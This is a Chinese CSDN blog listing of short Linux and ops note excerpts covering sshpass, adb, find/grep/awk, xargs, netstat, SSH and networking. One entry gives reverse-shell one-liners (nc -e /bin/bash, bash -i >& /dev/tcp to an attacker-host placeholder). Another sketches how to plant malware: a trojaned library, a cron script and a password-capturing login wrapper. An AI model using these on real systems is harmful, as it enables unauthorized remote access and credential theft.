
运维
琴棋书画诗茶酒
这个作者很懒,什么都没留下…
展开
-
vmware配置
nat模式下正确配置。原创 2022-10-13 10:52:15 · 373 阅读 · 1 评论 -
少年攻城狮 Linux系列---【sshpass实现ssh用户名密码一行命令登录】
dnf install sshpass [Fedora 22 及以上版本]#源码安装(适用于离线安装)1.安装sshpass。原创 2022-10-11 17:36:42 · 842 阅读 · 0 评论 -
tty相关命令
pkill -KILL -t pts/0 杀掉一个session。原创 2022-10-03 10:31:16 · 241 阅读 · 0 评论 -
mount -o bind
mount -o bind 等价于 mount --bindCentOS 6.5基于DHCP的PXE自动化安装系统过程中遇到这样一个问题?原创 2022-09-19 11:33:24 · 1513 阅读 · 0 评论 -
今日学习记录
Linux C++获取磁盘剩余空间和可用空间。原创 2022-09-18 21:41:27 · 250 阅读 · 0 评论 -
运维工作思考
1、生产环境问题检查、预防与系统运行监控2、做好笔记,分门别类3、扩展好知识,做好日日小进步4、对于不太确认的问题及时确认;5、沟通各方人员6、增加系统项目的整洁度原创 2021-12-06 09:34:24 · 162 阅读 · 0 评论 -
容灾备份关键技术
1、关键技术在建立容灾备份系统时会涉及到多种技术,如:SAN或NAS技术、远程镜像技术、基于IP的SAN的互连技术、快照技术等。这里重点介绍远程镜像、快照和互连技术。远程镜像技术 远程镜像技术,是在主数据中心和备援中心之间的数据备份时用到。镜像是在两个或多个磁盘或磁盘子系统上产生同一个数据的镜像视图的信息存储过程,一个叫主镜像系统,另一个叫从镜像系统。按主从镜像存储系统所处的位置可分为本地镜像和远程镜像。远程镜像又叫远程复制,是容灾备份的核心技术,同时也是保持远程数据同步和实现灾难恢复的基础。远程转载 2022-05-15 20:00:47 · 832 阅读 · 0 评论 -
adb与安卓手机
2017年末手机丢在上海街头,因为没有给人好处,捡到手机的人把我手机吞了,所以才有了新的手机荣耀v10;可是手机越来越卡,最近打算把他整下。手机卡顿原因分析,华为搞得安卓系统软件越来越大,增加了很多后台服务;安卓手机地消息机制都是app自己做的,常驻后台,占用了很多系统资源;安卓应用打开后经常常驻内存,侵占了很多系统权限资源,也没有系统地后台无用进程退出机制;如何来优化:通过adb来卸载不显示地后台服务;adb命令#进入手机底层linux内核shell交互接口adb shell#dumpsy原创 2022-05-08 19:57:37 · 2272 阅读 · 0 评论 -
IT行业地头发
1、不用洗发水洗头,洗发水化学添加剂多,刺激大;2、做好准备,减少焦虑,减少思考,多休息;原创 2022-05-01 21:26:12 · 300 阅读 · 0 评论 -
安卓手机的adb命令
adb的全称为Android Debug Bridge,就是起到调试桥的作用。通过adb我们可以在Eclipse中方便通过DDMS来调试Android程序,说白了就是debug工具。简介adb的工作方式比较特殊,采用监听Socket TCP 5554等端口的方式让IDE和Qemu通讯,默认情况下adb会daemon相关的网络端口,所以当我们运行Eclipse时adb进程就会自动运行。adb是android sdk里的一个工具, 用这个工具可以直接操作管理android模拟器或者真实的android设备原创 2022-04-30 20:35:10 · 3438 阅读 · 0 评论 -
如何给服务器装个病毒服务
1、自己写一个增加病毒函数代码地动态库,替换目标动态库;2、自己写一个bash脚本或增加条命令放在linux定时运维路径;3、权限问题,可能就比较复杂了,在原有登陆交互程序的基础上套一个外壳,获取密码?...原创 2022-04-20 11:24:28 · 556 阅读 · 0 评论 -
devops
DevOps(Development和Operations的组合词)是一组过程、方法与系统的统称,用于促进开发(应用程序/软件工程)、技术运营和质量保障(QA)部门之间的沟通、协作与整合。它是一种重视“软件开发人员(Dev)”和“IT运维技术人员(Ops)”之间沟通合作的文化、运动或惯例。透过自动化“软件交付”和“架构变更”的流程,来使得构建、测试、发布软件能够更加地快捷、频繁和可靠。它的出现是由于软件行业日益清晰地认识到:为了按时交付软件产品和服务,开发和运维工作必须紧密合作。发展介绍编辑 播报D原创 2022-04-16 12:45:16 · 179 阅读 · 0 评论 -
windows开机自启方法
关于应用程序开机自启动的问题上,以WIN10为例,在设置应用程序开机自动启动时,有以下这样一个办法:一、在windows10中找到这个文件夹:C:\programDATA\microsoft\winodws\开始\程序\startup二、将应用程序或快捷方式存入这个文件夹就可以了。重新启动后,应用程序就会自动启动了。...原创 2022-04-15 22:28:18 · 522 阅读 · 0 评论 -
linux命令 高级别用法
find . -iname \*.txt(大小写都匹配)find /usr -type l(当前目录下所有的符号链接)find /usr -type l -name "z*" -ls(符号链接的详细信息 eg:inode,目录)find /home/test -size +250000k(超过250000k的文件,当然+改成-就是小于了)grep '[a-z]\{5\}' text杀掉进程 -9 强制杀,一枪爆头kill -9 25689杀掉进程 -15 温柔杀,安乐死kill -15原创 2022-04-15 22:17:39 · 248 阅读 · 0 评论 -
tar 解压 特定内容
1、首先用tar ztvf users.tar.gz 查看里面打包的路径2、用tar zxvf userstar.gz users/abc.com 这个是路径是ztvf中显示的原创 2022-04-14 16:32:47 · 789 阅读 · 0 评论 -
grep和awk实战
1、grep -E ’ | ’ 搜索多个关键字;2、 awk -F ’ | ’ 分割多个关键字;3、awk -F ’ ’ ‘{ sum=sum+$1 } END { print $sum }’ 先循环执行,结束后再执行;4、head -n 5 显示前武五行;原创 2022-04-12 19:50:30 · 385 阅读 · 0 评论 -
百度搜索技巧
filetype:doc 关键字(可选关键字1 | 可选关键字2 |可选关键字3) -(忽略关键字1 | 忽略关键字2)原创 2022-04-10 09:46:16 · 641 阅读 · 0 评论 -
网络起不来修复
/etc/sysconfig/network-scripts/ifcfg-ens33下面多了个备份文件,导致一个网卡起了多次原创 2022-04-03 20:42:10 · 65 阅读 · 0 评论 -
服务器批量杀进程脚本
#!/bin/bash#被杀进程放到kill_list数组中kill_list=("cl" "ser")for pro in ${kill_list[@]}do ps -ef |grep -w $pro |grep -v grep |awk '{print $2}' |xargs kill -9 >& /dev/nulldone原创 2022-04-03 10:33:56 · 185 阅读 · 0 评论 -
shell反弹
#外网主机yum install -y ncnc -lvvp 8080#内网网主机yum install -y ncnc 192.168.31.174 8080 -t -e /bin/bash 2》&1 &orbash -i >& /dev/tcp/攻击主机ip/port 0>&1 //port 为攻击主机端口号原创 2022-03-28 17:32:58 · 1385 阅读 · 0 评论 -
一个用户多个组
usermod -a -G groupname username原创 2022-03-26 17:09:56 · 371 阅读 · 0 评论 -
centos建立信任关系
ssh-keygen –t rsacd .ssh;cp id_rsa.pub authorized_keys;chmod 700 id_rsa;scp ./authorized_keys fmstock@192.168.131.12:.ssh/原创 2022-03-16 10:46:58 · 626 阅读 · 0 评论 -
core文件
在现网环境下,程序奔溃后不一定会留下core文件,原因有很多,比如存储空间不足就是其中一个常见的原因。此时我们只能依据linux记录的错误日志来定位问题1、dmesg |grep -E ‘segfault|general’2、dmesg |grep 进(线)程名通过进程或线程名来过滤。这里之所以强调线程,因为我在实践中发现dmesg里的信息可能只有线程名,所以推荐在给线程取名时使用统一前缀,比如你的主进程为Test,那么线程可以取Test_A,Test_A,这样过滤时 grep Test就能过滤出所有原创 2022-03-14 14:28:41 · 1177 阅读 · 0 评论 -
python字母雨
1、安装pygame2、下载字体文件1、字体文件网址:https://www.jb51.net/fonts/741094.html2、放在rain.py同级路径3、rain.py右键,edit with idle运行调试程序import pygameimport random def main(): # 初始化pygame pygame.init() # 默认不全屏 fullscreen = False # 窗口未全屏宽和高 WIDTH原创 2022-03-14 11:01:08 · 2921 阅读 · 0 评论 -
程序员编程学习网站
1、csdn2、github3、gitee4、stackflow5、菜鸟教程6、脚本之家原创 2022-03-13 12:42:47 · 317 阅读 · 0 评论 -
利用公网IP实现外网访问内网http服务器
设备:天翼网关+小米路由器前提:有公网IP本机开启http服务器,可使用everything一键开启。查询本机IP:百度“IP”,查看本机的公网IP即可。小米路由器端口转发:a. 浏览器中输入http://192.168.31.1/,进入路由器管理界面b. 【高级设置】→【端口转发】→端口转发规则列表【添加规则】天翼网关端口映射:a. 浏览器输入http://192.168.1.1/,进入管理界面。b. 【高级设置】→【端口映射】注意,由于80端口可能涉及网关管理,建议外部端口不原创 2022-03-12 16:24:05 · 6107 阅读 · 1 评论 -
win10开机自动执行脚本
1、打开我的电脑, 在地址栏输入:“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”2、把自动运行批处理、脚本放到这个文件夹下原创 2022-03-11 16:50:11 · 1123 阅读 · 0 评论 -
Linux修改SSH端口号
1、修改配置文件/etc/ssh/sshd_config 中增加Port行,去掉前面#2、重启服务systemctl restart sshd.service原创 2022-03-11 10:54:54 · 865 阅读 · 0 评论 -
linux系统重启后检查
1、检查挂载的磁盘是否还存在df -h2、检查网卡网关配置route3、检查oracle服务器ps -ef | grep pmon原创 2022-03-10 10:53:42 · 1789 阅读 · 0 评论 -
波动率管理
在波动率定价的6个因素中,只有波动率不可观测;波动率管理,就是拟合隐含波动率后得出理论波动率,应用于理论价计算的过程;计算隐含波动率时我们无法得到定价公式的函数,只能通过迭代方法求出隐含波动率的近似值;二分法牛顿迭代法;...原创 2022-03-08 16:45:27 · 157 阅读 · 0 评论 -
linux 最大tcp连接配置
/etc/sysctl.conf 文件增加增加可用端口范围net.ipv4.ip_local_port_range=1024 55535增加最大文件描述符(系统层显示)fs.file-max=65535在/etc/pam.d/login 中提那件下面其中一行,告诉linux用户完成登陆后用pam_limits.so来完成limit.conf这个文件;对于32为系统:session required /lib/security/pam_limits.so对于64位系统:session req原创 2022-03-08 11:03:39 · 4639 阅读 · 0 评论 -
程序可以解决的几大问题
1、基于计算机视觉的物体检测;2、智能交通领域,全局规划;3、自动化的服务程序;4、智能预测程序;5、复杂系统的决策模型;原创 2022-03-07 10:49:58 · 265 阅读 · 0 评论 -
服务器硬件配置
cpu英特尔至强银牌4216 2.1G,16C/32T.9.9GT/s,22m缓存Memory8*32GDIsk960G2+2.4T+240G2Raid Cardhba330 MiniProduct S/NHalo 8100原创 2022-03-06 11:08:58 · 243 阅读 · 0 评论 -
bat 处理
批量杀死test.开头的进程taskkill /f /im test.*原创 2022-03-04 15:18:35 · 116 阅读 · 0 评论 -
ansi 与utf8编码问题
ANSI是一种字符代码,为使计算机支持更多语言,通常使用 0x00~0x7f 范围的1 个字节来表示 1 个英文字符。超出此范围的使用0x80~0xFFFF来编码,即扩展的ASCII编码。简介为使计算机支持更多语言,通常使用 0x80~0xFFFF 范围的 2 个字节来表示 1 个字符。比如:汉字 ‘中’ 在中文操作系统中,使用 [0xD6,0xD0] 这两个字节存储。不同的国家和地区制定了不同的标准,由此产生了 GB2312、GBK、GB18030、Big5、Shift_JIS 等各自的编码标准。这原创 2022-03-03 09:27:53 · 1147 阅读 · 0 评论 -
Linux xargs 命令
1、关键是由于很多命令不支持|管道来传递参数,而日常工作中有有这个必要,所以就有了 xargs 命令find /sbin -perm +700 |xargs ls -l #这样才是正确的2、多行输入单行输出cat test.txt | xargs3、多行输出cat test.txt | xargs -n34、自定义分隔符echo "nameXnameXnameXname" | xargs -dX5、xargs 的一个选项 -I,使用 -I 指定一个替换字符串 {},这个字符串在原创 2022-03-03 09:18:44 · 1641 阅读 · 0 评论 -
Shell 引号嵌套
1、在使用多重引号时系统是从前往后看的,能匹配就算一对,所以这样一对一对的断句将整个命令串分为若干部分;2、为了使系统识别后(被识别的引号会消失)的命令串功能正确,需要使用转义字符手动的在合适的地方加入合适的引号;将不连续的一串(比如包含空格)作为一个整体,需用单引号或双引号括起来,区别在于双引号仍能解析其中的变量等;倒引号用于命令替换,不过倒引号一般不嵌套,在此主要讨论单双引号的嵌套。...原创 2022-03-03 09:04:59 · 948 阅读 · 0 评论 -
linux查看mac地址
1、查看eth0的MAC地址cat /sys/class/net/eth0/address 2、 查看所有网卡的MAC地址cat /sys/class/net/*/address3、 查看连接到本机的远端IP的MAC地址cat /proc/net/arp4、dmesg查看dmesg | grep eth05、(CentOS or Redhat配置文件)cat /etc/sysconfig/network-scripts/ifcfg-eth0...原创 2022-03-03 08:57:06 · 1772 阅读 · 0 评论 -
ldd 全面用法
ldd命令用于判断某个可执行的 binary 档案含有什么动态函式库。参数说明: --version 打印ldd的版本号 -v --verbose 打印所有信息,例如包括符号的版本信息 -d --data-relocs 执行符号重部署,并报告缺少的目标对象(只对ELF格式适用) -r --function-relocs 对目标对象和函数执行重新部署,并报告缺少的目标对象和函数(只对ELF格式适用) --help 用法信息如果命令行中给定的库名字包含’/’,这个程序的libc5版本将使原创 2022-03-03 08:52:33 · 757 阅读 · 0 评论 -
netstat 高级用法
1、-r --route展示路由信息2、-I --interfaces显示网络接口的信息表单3、-g --groups显示IPv4和IPv6的多播组信息4、–statistics,-s显示每个协议的统计5、–masquerade,-M显示伪链接列表6、–verbose,-v告诉用户指令执行的过程。特别是打印未配置的协议簇的一些有用信息7、–wide,-w不要通过使用尽可能宽的输出带宽截断IP地址。不打断已有脚本是可选的8、–numeric,-n显示数字格式的地址,而不是字符形式原创 2022-03-01 15:31:26 · 217 阅读 · 0 评论